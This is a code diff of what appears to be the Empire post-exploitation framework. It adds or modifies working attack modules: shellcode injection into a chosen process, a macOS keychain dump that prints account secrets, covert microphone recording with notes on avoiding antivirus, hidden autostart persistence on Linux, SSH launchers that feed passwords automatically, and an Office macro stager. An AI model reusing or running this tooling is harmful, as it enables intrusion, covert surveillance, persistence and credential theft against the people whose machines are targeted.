'Description' : 'Listener to use.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'UserAgent' : {
|
||||||
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'ProxyCreds' : {
|
||||||
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Save off a copy of the mainMenu object to access external
|
||||||
|
# functionality like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
# During instantiation, any settable option parameters are passed as
|
||||||
|
# an object set to the module and the options dictionary is
|
||||||
|
# automatically set. This is mostly in case options are passed on
|
||||||
|
# the command line.
|
||||||
|
if params:
|
||||||
|
for param in params:
|
||||||
|
# Parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||||
|
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
procID = self.options['ProcId']['Value'].strip()
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy']['Value']
|
||||||
|
proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
arch = self.options['Arch']['Value']
|
||||||
|
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
|
||||||
|
if obfuscate:
|
||||||
|
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||||
|
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||||
|
try:
|
||||||
|
f = open(moduleSource, 'r')
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
moduleCode = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# If you'd just like to import a subset of the functions from the
|
||||||
|
# module source, use the following:
|
||||||
|
# script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
|
||||||
|
script = moduleCode
|
||||||
|
scriptEnd = "; shellcode injected into pid {}".format(str(procID))
|
||||||
|
|
||||||
|
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||||
|
# not a valid listener, return nothing for the script
|
||||||
|
print helpers.color("[!] Invalid listener: {}".format(listenerName))
|
||||||
|
return ''
|
||||||
|
else:
|
||||||
|
# generate the PowerShell one-liner with all of the proper options set
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||||
|
|
||||||
|
if launcher == '':
|
||||||
|
print helpers.color('[!] Error in launcher generation.')
|
||||||
|
return ''
|
||||||
|
else:
|
||||||
|
launcherCode = launcher.split(' ')[-1]
|
||||||
|
|
||||||
|
sc = self.mainMenu.stagers.generate_shellcode(launcherCode, arch)
|
||||||
|
|
||||||
|
encoded_sc = helpers.encode_base64(sc)
|
||||||
|
|
||||||
|
# Add any arguments to the end execution of the script
|
||||||
|
|
||||||
|
#t = iter(sc)
|
||||||
|
#pow_array = ',0x'.join(a+b for a,b in zip(t, t))
|
||||||
|
#pow_array = "@(0x" + pow_array + " )"
|
||||||
|
script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc)
|
||||||
|
script += scriptEnd
|
||||||
|
return script
|
|
@ -70,7 +70,7 @@ Function Set-WallPaper
|
||||||
|
|
||||||
Set-Content -value $([System.Convert]::FromBase64String($WallpaperData)) -encoding byte -path $SavePath
|
Set-Content -value $([System.Convert]::FromBase64String($WallpaperData)) -encoding byte -path $SavePath
|
||||||
|
|
||||||
add-type @"
|
Add-Type @"
|
||||||
using System;
|
using System;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using Microsoft.Win32;
|
using Microsoft.Win32;
|
||||||
|
|
|
@ -1,4 +1,3 @@
|
||||||
import shlex
|
|
||||||
class Module:
|
class Module:
|
||||||
|
|
||||||
def __init__(self, mainMenu, params=[]):
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
@ -6,19 +5,21 @@ class Module:
|
||||||
# metadata info about the module, not modified during runtime
|
# metadata info about the module, not modified during runtime
|
||||||
self.info = {
|
self.info = {
|
||||||
# name for the module that will appear in module menus
|
# name for the module that will appear in module menus
|
||||||
'Name': 'shellb',
|
'Name': 'Sandbox-Keychain-Dump',
|
||||||
|
|
||||||
# list of one or more authors for the module
|
# list of one or more authors for the module
|
||||||
'Author': ['@xorrior'],
|
'Author': ['@import-au'],
|
||||||
|
|
||||||
# more verbose multi-line description of the module
|
# more verbose multi-line description of the module
|
||||||
'Description': ('execute a shell command in the background'),
|
'Description': ("Uses Apple Security utility to dump the contents of the keychain. "
|
||||||
|
"WARNING: Will prompt user for access to each key."
|
||||||
|
"On Newer versions of Sierra and High Sierra, this will also ask the user for their password for each key."),
|
||||||
|
|
||||||
# True if the module needs to run in the background
|
# True if the module needs to run in the background
|
||||||
'Background' : True,
|
'Background' : False,
|
||||||
|
|
||||||
# File extension to save the file as
|
# File extension to save the file as
|
||||||
'OutputExtension' : '',
|
'OutputExtension' : "",
|
||||||
|
|
||||||
# if the module needs administrative privileges
|
# if the module needs administrative privileges
|
||||||
'NeedsAdmin' : False,
|
'NeedsAdmin' : False,
|
||||||
|
@ -33,7 +34,9 @@ class Module:
|
||||||
'MinLanguageVersion' : '2.6',
|
'MinLanguageVersion' : '2.6',
|
||||||
|
|
||||||
# list of any references/other comments
|
# list of any references/other comments
|
||||||
'Comments': [ ]
|
'Comments': [
|
||||||
|
""
|
||||||
|
]
|
||||||
}
|
}
|
||||||
|
|
||||||
# any options needed by the module, settable during runtime
|
# any options needed by the module, settable during runtime
|
||||||
|
@ -46,11 +49,10 @@ class Module:
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'Command' : {
|
'OutFile' : {
|
||||||
# The 'Agent' option is the only one that MUST be in a module
|
'Description': 'File to output AppleScript to, otherwise displayed on the screen.',
|
||||||
'Description' : 'Command to execute.',
|
'Required': False,
|
||||||
'Required' : True,
|
'Value': ''
|
||||||
'Value' : ''
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -69,14 +71,21 @@ class Module:
|
||||||
if option in self.options:
|
if option in self.options:
|
||||||
self.options[option]['Value'] = value
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
def generate(self):
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||||
|
|
||||||
cmdstring = self.options['Command']['Value']
|
script = r"""
|
||||||
script = """
|
import subprocess
|
||||||
import shlex
|
import re
|
||||||
arg = shlex.split("%s")
|
|
||||||
p = subprocess.Popen(arg, stdout=PIPE)
|
process = subprocess.Popen('/usr/bin/security dump-keychain -d', stdout=subprocess.PIPE, shell=True)
|
||||||
res = p.stdout.read()
|
keychain = process.communicate()
|
||||||
print res
|
find_account = re.compile('0x00000007\s\<blob\>\=\"([^\"]+)\"\n.*\n.*\"acct\"\<blob\>\=\"([^\"]+)\"\n.*\n.*\n.*\n\s+\"desc\"\<blob\>\=([^\n]+)\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n.*\ndata\:\n([^\n]+)')
|
||||||
""" % (cmdstring)
|
accounts = find_account.findall(keychain[0])
|
||||||
|
for account in accounts:
|
||||||
|
print("System: " + account[0])
|
||||||
|
print("Description: " + account[2])
|
||||||
|
print("Username: " + account[1])
|
||||||
|
print("Secret: " + account[3])
|
||||||
|
|
||||||
|
"""
|
||||||
return script
|
return script
|
|
@ -0,0 +1,159 @@
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
# Metadata info about the module, not modified during runtime
|
||||||
|
self.info = {
|
||||||
|
# Name for the module that will appear in module menus
|
||||||
|
'Name': 'osx_mic_record',
|
||||||
|
|
||||||
|
# List of one or more authors for the module
|
||||||
|
'Author': ['@s0lst1c3'],
|
||||||
|
|
||||||
|
# More verbose multi-line description of the module
|
||||||
|
'Description': ('Records audio through the MacOS webcam mic '
|
||||||
|
'by leveraging the Apple AVFoundation API.'),
|
||||||
|
|
||||||
|
# True if the module needs to run in the background
|
||||||
|
'Background': False,
|
||||||
|
|
||||||
|
# File extension to save the file as
|
||||||
|
# no need to base64 return data
|
||||||
|
'OutputExtension': 'caf',
|
||||||
|
|
||||||
|
# True if the module needs administrative privileges
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
|
'OpsecSafe': False,
|
||||||
|
|
||||||
|
# The module language
|
||||||
|
'Language' : 'python',
|
||||||
|
|
||||||
|
# The minimum language version needed
|
||||||
|
'MinLanguageVersion' : '2.6',
|
||||||
|
|
||||||
|
# List of any references/other comments
|
||||||
|
'Comments': [
|
||||||
|
(
|
||||||
|
'Executed within memory, although recorded audio will '
|
||||||
|
'touch disk while the script is running. This is unlikely '
|
||||||
|
'to trip A/V, although a user may notice the audio file '
|
||||||
|
'if it stored in an obvious location.'
|
||||||
|
),
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# Any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent': {
|
||||||
|
# The 'Agent' option is the only one that MUST be in a module
|
||||||
|
'Description' : 'Agent to record audio from.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '',
|
||||||
|
},
|
||||||
|
'OutputDir': {
|
||||||
|
'Description' : ('Directory on remote machine '
|
||||||
|
'in recorded audio should be '
|
||||||
|
'saved. (Default: /tmp)'),
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : '/tmp',
|
||||||
|
},
|
||||||
|
'RecordTime': {
|
||||||
|
'Description' : ('The length of the audio recording '
|
||||||
|
'in seconds. (Default: 5)'),
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : '5',
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Save off a copy of the mainMenu object to access external
|
||||||
|
# functionality like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
# During instantiation, any settable option parameters
|
||||||
|
# are passed as an object set to the module and the
|
||||||
|
# options dictionary is automatically set. This is mostly
|
||||||
|
# in case options are passed on the command line
|
||||||
|
if params:
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self, obfuscate=False, obfuscationCommand=''):
|
||||||
|
|
||||||
|
record_time = self.options['RecordTime']['Value']
|
||||||
|
output_dir = self.options['OutputDir']['Value']
|
||||||
|
|
||||||
|
return '''
|
||||||
|
import objc
|
||||||
|
import objc._objc
|
||||||
|
import time
|
||||||
|
import sys
|
||||||
|
import random
|
||||||
|
import os
|
||||||
|
|
||||||
|
from string import ascii_letters
|
||||||
|
from Foundation import *
|
||||||
|
from AVFoundation import *
|
||||||
|
|
||||||
|
record_time = %s
|
||||||
|
output_dir = '%s'
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
|
||||||
|
pool = NSAutoreleasePool.alloc().init()
|
||||||
|
|
||||||
|
# construct audio URL
|
||||||
|
output_file = ''.join(random.choice(ascii_letters) for _ in range(32))
|
||||||
|
output_path = os.path.join(output_dir, output_file)
|
||||||
|
audio_path_str = NSString.stringByExpandingTildeInPath(output_path)
|
||||||
|
audio_url = NSURL.fileURLWithPath_(audio_path_str)
|
||||||
|
|
||||||
|
# fix metadata for AVAudioRecorder
|
||||||
|
objc.registerMetaDataForSelector(
|
||||||
|
b"AVAudioRecorder",
|
||||||
|
b"initWithURL:settings:error:",
|
||||||
|
dict(arguments={4: dict(type_modifier=objc._C_OUT)}),
|
||||||
|
)
|
||||||
|
|
||||||
|
# initialize audio settings
|
||||||
|
audio_settings = NSDictionary.dictionaryWithDictionary_({
|
||||||
|
'AVEncoderAudioQualityKey' : 0,
|
||||||
|
'AVEncoderBitRateKey' : 16,
|
||||||
|
'AVSampleRateKey': 44100.0,
|
||||||
|
'AVNumberOfChannelsKey': 2,
|
||||||
|
})
|
||||||
|
|
||||||
|
# create the AVAudioRecorder
|
||||||
|
(recorder, error) = AVAudioRecorder.alloc().initWithURL_settings_error_(
|
||||||
|
audio_url,
|
||||||
|
audio_settings,
|
||||||
|
objc.nil,
|
||||||
|
)
|
||||||
|
|
||||||
|
# bail if unable to create AVAudioRecorder
|
||||||
|
if error is not None:
|
||||||
|
NSLog(error)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# record audio for record_time seconds
|
||||||
|
recorder.record()
|
||||||
|
time.sleep(record_time)
|
||||||
|
recorder.stop()
|
||||||
|
|
||||||
|
# retrieve content from output file then delete it
|
||||||
|
with open(output_path, 'rb') as input_handle:
|
||||||
|
captured_audio = input_handle.read()
|
||||||
|
run_command('rm -f ' + output_path)
|
||||||
|
|
||||||
|
# return captured audio to agent
|
||||||
|
print captured_audio
|
||||||
|
|
||||||
|
del pool
|
||||||
|
|
||||||
|
''' % (record_time, output_dir) # script
|
|
@ -14,7 +14,7 @@ class Module:
|
||||||
'Description': 'This module will send a command via ssh.',
|
'Description': 'This module will send a command via ssh.',
|
||||||
|
|
||||||
# True if the module needs to run in the background
|
# True if the module needs to run in the background
|
||||||
'Background' : False,
|
'Background' : True,
|
||||||
|
|
||||||
# File extension to save the file as
|
# File extension to save the file as
|
||||||
'OutputExtension' : "",
|
'OutputExtension' : "",
|
||||||
|
@ -107,7 +107,7 @@ def wall(host, pw):
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
data = os.read(fd, 1024)
|
data = os.read(fd, 1024)
|
||||||
if data == "Password:":
|
if data[:8] == "Password" and data[-1:] == ":":
|
||||||
os.write(fd, pw + '\\n')
|
os.write(fd, pw + '\\n')
|
||||||
|
|
||||||
except OSError:
|
except OSError:
|
||||||
|
|
|
@ -14,7 +14,7 @@ class Module:
|
||||||
'Description': 'This module will send an launcher via ssh.',
|
'Description': 'This module will send an launcher via ssh.',
|
||||||
|
|
||||||
# True if the module needs to run in the background
|
# True if the module needs to run in the background
|
||||||
'Background' : False,
|
'Background' : True,
|
||||||
|
|
||||||
# File extension to save the file as
|
# File extension to save the file as
|
||||||
'OutputExtension' : "",
|
'OutputExtension' : "",
|
||||||
|
@ -121,7 +121,7 @@ def wall(host, pw):
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
data = os.read(fd, 1024)
|
data = os.read(fd, 1024)
|
||||||
if data == "Password:":
|
if data[:8] == "Password" and data[-1:] == ":":
|
||||||
os.write(fd, pw + '\\n')
|
os.write(fd, pw + '\\n')
|
||||||
|
|
||||||
except OSError:
|
except OSError:
|
||||||
|
|
|
@ -1,137 +0,0 @@
|
||||||
from lib.common import helpers
|
|
||||||
|
|
||||||
|
|
||||||
class Module:
|
|
||||||
|
|
||||||
def __init__(self, mainMenu, params=[]):
|
|
||||||
|
|
||||||
# metadata info about the module, not modified during runtime
|
|
||||||
self.info = {
|
|
||||||
# name for the module that will appear in module menus
|
|
||||||
'Name': 'ls_m',
|
|
||||||
|
|
||||||
# list of one or more authors for the module
|
|
||||||
'Author': ['@xorrior'],
|
|
||||||
|
|
||||||
# more verbose multi-line description of the module
|
|
||||||
'Description': ('List contents of a directory'),
|
|
||||||
|
|
||||||
# True if the module needs to run in the background
|
|
||||||
'Background': False,
|
|
||||||
|
|
||||||
# File extension to save the file as
|
|
||||||
# no need to base64 return data
|
|
||||||
'OutputExtension': None,
|
|
||||||
|
|
||||||
'NeedsAdmin' : False,
|
|
||||||
|
|
||||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
|
||||||
'OpsecSafe': True,
|
|
||||||
|
|
||||||
# the module language
|
|
||||||
'Language' : 'python',
|
|
||||||
|
|
||||||
# the minimum language version needed
|
|
||||||
'MinLanguageVersion' : '2.6',
|
|
||||||
|
|
||||||
# list of any references/other comments
|
|
||||||
'Comments': [
|
|
||||||
'Link:',
|
|
||||||
'http://stackoverflow.com/questions/17809386/howtoconvertastat-output-to-a-unix-permissions-string'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
# any options needed by the module, settable during runtime
|
|
||||||
self.options = {
|
|
||||||
# format:
|
|
||||||
# value_name : {description, required, default_value}
|
|
||||||
'Agent': {
|
|
||||||
# The 'Agent' option is the only one that MUST be in a module
|
|
||||||
'Description' : 'Agent to run the module.',
|
|
||||||
'Required' : True,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'Path': {
|
|
||||||
'Description' : 'Path. Defaults to the current directory. This module is mainly for organization. The alias \'ls\' can be used at the agent menu.',
|
|
||||||
'Required' : True,
|
|
||||||
'Value' : '.'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# save off a copy of the mainMenu object to access external functionality
|
|
||||||
# like listeners/agent handlers/etc.
|
|
||||||
self.mainMenu = mainMenu
|
|
||||||
|
|
||||||
# During instantiation, any settable option parameters
|
|
||||||
# are passed as an object set to the module and the
|
|
||||||
# options dictionary is automatically set. This is mostly
|
|
||||||
# in case options are passed on the command line
|
|
||||||
if params:
|
|
||||||
for param in params:
|
|
||||||
# parameter format is [Name, Value]
|
|
||||||
option, value = param
|
|
||||||
if option in self.options:
|
|
||||||
self.options[option]['Value'] = value
|
|
||||||
|
|
||||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
||||||
|
|
||||||
filePath = self.options['Path']['Value']
|
|
||||||
filePath += '/'
|
|
||||||
|
|
||||||
script = """
|
|
||||||
try:
|
|
||||||
|
|
||||||
import Foundation
|
|
||||||
from AppKit import *
|
|
||||||
import os
|
|
||||||
import stat
|
|
||||||
except:
|
|
||||||
print "A required module is missing.."
|
|
||||||
|
|
||||||
def permissions_to_unix_name(st_mode):
|
|
||||||
permstr = ''
|
|
||||||
usertypes = ['USR', 'GRP', 'OTH']
|
|
||||||
for usertype in usertypes:
|
|
||||||
perm_types = ['R', 'W', 'X']
|
|
||||||
for permtype in perm_types:
|
|
||||||
perm = getattr(stat, 'S_I%%s%%s' %% (permtype, usertype))
|
|
||||||
if st_mode & perm:
|
|
||||||
permstr += permtype.lower()
|
|
||||||
else:
|
|
||||||
permstr += '-'
|
|
||||||
return permstr
|
|
||||||
|
|
||||||
path = "%s"
|
|
||||||
dirlist = os.listdir(path)
|
|
||||||
|
|
||||||
filemgr = NSFileManager.defaultManager()
|
|
||||||
|
|
||||||
directoryListString = "\\t\\towner\\tgroup\\t\\tlast modified\\tsize\\t\\tname\\n"
|
|
||||||
|
|
||||||
for item in dirlist:
|
|
||||||
fullpath = os.path.abspath(os.path.join(path,item))
|
|
||||||
attrs = filemgr.attributesOfItemAtPath_error_(os.path.abspath(fullpath), None)
|
|
||||||
name = item
|
|
||||||
lastModified = str(attrs[0]['NSFileModificationDate'])
|
|
||||||
group = str(attrs[0]['NSFileGroupOwnerAccountName'])
|
|
||||||
owner = str(attrs[0]['NSFileOwnerAccountName'])
|
|
||||||
size = str(os.path.getsize(fullpath))
|
|
||||||
if int(size) > 1024:
|
|
||||||
size = int(size) / 1024
|
|
||||||
size = str(size) + "K"
|
|
||||||
else:
|
|
||||||
size += "B"
|
|
||||||
perms = permissions_to_unix_name(os.stat(fullpath)[0])
|
|
||||||
listString = perms + " " + owner + "\\t" + group + "\\t\\t" + lastModified.split(" ")[0] + "\\t" + size + "\\t\\t" + name + "\\n"
|
|
||||||
if os.path.isdir(fullpath):
|
|
||||||
listString = "d"+listString
|
|
||||||
else:
|
|
||||||
listString = "-"+listString
|
|
||||||
|
|
||||||
directoryListString += listString
|
|
||||||
|
|
||||||
print str(os.getcwd())
|
|
||||||
print directoryListString
|
|
||||||
""" % filePath
|
|
||||||
|
|
||||||
return script
|
|
|
@ -0,0 +1,126 @@
|
||||||
|
import base64
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
# metadata info about the module, not modified during runtime
|
||||||
|
self.info = {
|
||||||
|
# name for the module that will appear in module menus
|
||||||
|
'Name': 'DesktopFile',
|
||||||
|
|
||||||
|
# list of one or more authors for the module
|
||||||
|
'Author': '@jarrodcoulter',
|
||||||
|
|
||||||
|
# more verbose multi-line description of the module
|
||||||
|
'Description': 'Installs an Empire launcher script in ~/.config/autostart on Linux versions with GUI.',
|
||||||
|
|
||||||
|
# True if the module needs to run in the background
|
||||||
|
'Background' : False,
|
||||||
|
|
||||||
|
# File extension to save the file as
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
# if the module needs administrative privileges
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
# the module language
|
||||||
|
'Language' : 'python',
|
||||||
|
|
||||||
|
# the minimum language version needed
|
||||||
|
'MinLanguageVersion' : '2.6',
|
||||||
|
|
||||||
|
# list of any references/other comments
|
||||||
|
'Comments': 'https://digitasecurity.com/blog/2018/01/23/crossrat/, https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html, https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/'
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
# The 'Agent' option is the only one that MUST be in a module
|
||||||
|
'Description' : 'Agent to execute module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to use.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Remove' : {
|
||||||
|
'Description' : 'Remove Persistence based on FileName. True/False',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'FileName' : {
|
||||||
|
'Description' : 'File name without extension that you would like created in ~/.config/autostart/ folder.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'sec_start'
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
# During instantiation, any settable option parameters
|
||||||
|
# are passed as an object set to the module and the
|
||||||
|
# options dictionary is automatically set. This is mostly
|
||||||
|
# in case options are passed on the command line
|
||||||
|
if params:
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||||
|
remove = self.options['Remove']['Value']
|
||||||
|
fileName = self.options['FileName']['Value']
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
|
||||||
|
launcher = launcher.strip('echo').strip(' | /usr/bin/python &')
|
||||||
|
dtSettings = """
|
||||||
|
[Desktop Entry]
|
||||||
|
Name=%s
|
||||||
|
Exec=python -c %s
|
||||||
|
Type=Application
|
||||||
|
NoDisplay=True
|
||||||
|
""" % (fileName, launcher)
|
||||||
|
script = """
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
remove = "%s"
|
||||||
|
dtFile = \"\"\"
|
||||||
|
%s
|
||||||
|
\"\"\"
|
||||||
|
home = os.path.expanduser("~")
|
||||||
|
filePath = home + "/.config/autostart/"
|
||||||
|
writeFile = filePath + "%s.desktop"
|
||||||
|
|
||||||
|
if remove.lower() == "true":
|
||||||
|
if os.path.isfile(writeFile):
|
||||||
|
os.remove(writeFile)
|
||||||
|
print "\\n[+] Persistence has been removed"
|
||||||
|
else:
|
||||||
|
print "\\n[-] Persistence file does not exist, nothing removed"
|
||||||
|
|
||||||
|
else:
|
||||||
|
if not os.path.exists(filePath):
|
||||||
|
os.makedirs(filePath)
|
||||||
|
e = open(writeFile,'wb')
|
||||||
|
e.write(dtFile)
|
||||||
|
e.close()
|
||||||
|
|
||||||
|
print "\\n[+] Persistence has been installed: ~/.config/autostart/%s"
|
||||||
|
print "\\n[+] Empire daemon has been written to %s"
|
||||||
|
|
||||||
|
""" % (remove, dtSettings, fileName, fileName, fileName)
|
||||||
|
|
||||||
|
return script
|
|
@ -89,6 +89,7 @@ try:
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
|
import time
|
||||||
from os.path import expanduser
|
from os.path import expanduser
|
||||||
# Get Home User
|
# Get Home User
|
||||||
home = str(expanduser("~"))
|
home = str(expanduser("~"))
|
||||||
|
@ -232,6 +233,24 @@ try:
|
||||||
if Debug:
|
if Debug:
|
||||||
print "[!] Error enumerating user bash_history: " + str(e)
|
print "[!] Error enumerating user bash_history: " + str(e)
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# Enum Wireless Connectivity Info
|
||||||
|
try:
|
||||||
|
process = subprocess.Popen(executable="/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport", args="-I", stdout=subprocess.PIPE, shell=True)
|
||||||
|
wireless = process.communicate()
|
||||||
|
if wireless[0] != '':
|
||||||
|
wireless = wireless[0].split('\\n')
|
||||||
|
print "[*] Wireless Connectivity Info:"
|
||||||
|
for x in wireless:
|
||||||
|
if x:
|
||||||
|
print " - " + str(x.strip())
|
||||||
|
else:
|
||||||
|
print
|
||||||
|
except Exception as e:
|
||||||
|
if Debug:
|
||||||
|
print "[!] Error enumerating user Wireless Connectivity Info: " + str(e)
|
||||||
|
pass
|
||||||
|
|
||||||
# Enum AV / Protection Software
|
# Enum AV / Protection Software
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
|
|
@ -8,9 +8,9 @@ class Stager:
|
||||||
self.info = {
|
self.info = {
|
||||||
'Name': 'AppleScript',
|
'Name': 'AppleScript',
|
||||||
|
|
||||||
'Author': ['@harmj0y'],
|
'Author': ['@harmj0y', '@dchrastil', '@import-au'],
|
||||||
|
|
||||||
'Description': ('An OSX office macro.'),
|
'Description': ('An OSX office macro that supports newer versions of Office.'),
|
||||||
|
|
||||||
'Comments': [
|
'Comments': [
|
||||||
"http://stackoverflow.com/questions/6136798/vba-shell-function-in-office-2011-for-mac"
|
"http://stackoverflow.com/questions/6136798/vba-shell-function-in-office-2011-for-mac"
|
||||||
|
@ -45,6 +45,11 @@ class Stager:
|
||||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
'Required' : False,
|
'Required' : False,
|
||||||
'Value' : 'default'
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Version' : {
|
||||||
|
'Description' : 'Version of Office for Mac. Accepts values "old" and "new". Old applies to versions of Office for Mac older than 15.26. New applies to versions of Office for Mac 15.26 and newer. Defaults to new.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'new'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -57,16 +62,16 @@ class Stager:
|
||||||
option, value = param
|
option, value = param
|
||||||
if option in self.options:
|
if option in self.options:
|
||||||
self.options[option]['Value'] = value
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
def generate(self):
|
def generate(self):
|
||||||
def formStr(varstr, instr):
|
def formStr(varstr, instr):
|
||||||
holder = []
|
holder = []
|
||||||
str1 = ''
|
str1 = ''
|
||||||
str2 = ''
|
str2 = ''
|
||||||
str1 = varstr + ' = "' + instr[:54] + '"'
|
str1 = varstr + ' = "' + instr[:54] + '"'
|
||||||
for i in xrange(54, len(instr), 48):
|
for i in xrange(54, len(instr), 48):
|
||||||
holder.append(varstr + ' = '+ varstr +' + "'+instr[i:i+48])
|
holder.append('\t\t' + varstr + ' = '+ varstr +' + "'+instr[i:i+48])
|
||||||
str2 = '"\r\n'.join(holder)
|
str2 = '"\r\n'.join(holder)
|
||||||
str2 = str2 + "\""
|
str2 = str2 + "\""
|
||||||
str1 = str1 + "\r\n"+str2
|
str1 = str1 + "\r\n"+str2
|
||||||
|
@ -77,28 +82,78 @@ class Stager:
|
||||||
listenerName = self.options['Listener']['Value']
|
listenerName = self.options['Listener']['Value']
|
||||||
userAgent = self.options['UserAgent']['Value']
|
userAgent = self.options['UserAgent']['Value']
|
||||||
safeChecks = self.options['SafeChecks']['Value']
|
safeChecks = self.options['SafeChecks']['Value']
|
||||||
|
version = self.options['Version']['Value']
|
||||||
|
|
||||||
|
try:
|
||||||
|
version = str(version).lower()
|
||||||
|
except TypeError:
|
||||||
|
